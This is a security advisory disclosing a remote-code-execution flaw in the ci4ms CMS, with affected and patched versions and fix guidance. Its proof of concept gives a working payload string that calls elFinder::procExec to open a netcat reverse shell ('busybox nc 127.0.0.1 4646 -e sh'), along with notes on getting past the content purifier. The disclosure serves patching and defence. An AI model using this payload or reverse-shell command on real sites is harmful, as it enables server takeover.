Skip to content

Remote Code Execution via template-function parsing in page content

Critical
bertugfahriozer published GHSA-mvg9-v63p-hp2h Jul 26, 2026

Package

composer ci4-cms-erp/ci4ms (Composer)

Affected versions

<= 0.32.0.0

Patched versions

0.33.1.0

Description

Summary

A PHP code-injection flaw in App\Libraries\CommonLibrary::parseInTextFunctions() lets a backend user who can edit page content turn that content into an arbitrary PHP static-method call. Because the parsed page body is rendered on every public page view, the call is triggered by any visitor (no authentication required). By targeting the static method elFinder::procExec() (autoloadable via the bundled studio-42/elfinder Composer classmap, which passes its first argument straight to proc_open()), an attacker achieves Remote Code Execution as the web-server user. No source-code modification is required to exploit this.

Details

parseInTextFunctions() scans user-controlled page content for the pattern {Class|method[/ARG/]/} and invokes it directly with no allow-list.

app/Libraries/CommonLibrary.php:

{590BEF33-4AC4-4A5E-A6FF-622CDDBAC195}

The input string {elFinder|procExec[/ARG/]/} is decomposed into the callable ['elFinder', 'procExec'] and the argument 'ARG', producing:

call_user_func_array(['elFinder', 'procExec'], ['ARG']);

PHP only accepts Class::method for an array callable, so a single-element callable such as system is not reachable. But a static method whose first parameter is a shell command is the perfect gadget.

Sanitizer bypass: {...} is not an HTML tag, so the stored-content purifier leaves it intact. Only parser constraints apply: |, /], /} cannot appear in the command, and the save-time purifier entity-encodes <, >, &, quotes. Spaces, ;, and / paths work. Enough for arbitrary execution (touch, mkdir, staged loaders).

PoC

Roles used

  • Low-privileged backend user whose permission is creating/editing page content (no admin, no module, no settings rights).
  1. Log in to the backend as the low-privileged page editor and open the page editor for a page the user is allowed to create/edit.

  2. Set the page content to:

{elFinder|procExec[/busybox nc 127.0.0.1 4646 -e sh/]/}
image

Save it. The payload is stored verbatim (the HTML purifier does not strip {...}).
(Note: > & < | are blocked by the purifier/parser. Do not use them in the command; touch, mkdir, ;, and spaces work.)

  1. Render the page (open its public URL, e.g. http://localhost:8080/<pagelink> http://localhost:8080/contact).
image

Impact

  • Full Host Compromise: Code executes under the web server user, allowing attackers to deploy persistent Web Shells, establish Reverse Shells, and achieve full control of the operating system.

Fix

  • Remove the dynamic-dispatch sink entirely and resolve in-text functions through a fixed allow-list. User content must never be turned into a callable.
  • Never pass user-influenced strings to call_user_func/call_user_func_array/proc_open/exec/etc.

Severity

Critical

CVE ID

CVE-2026-64688

Weaknesses

Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment. Learn more on MITRE.

Credits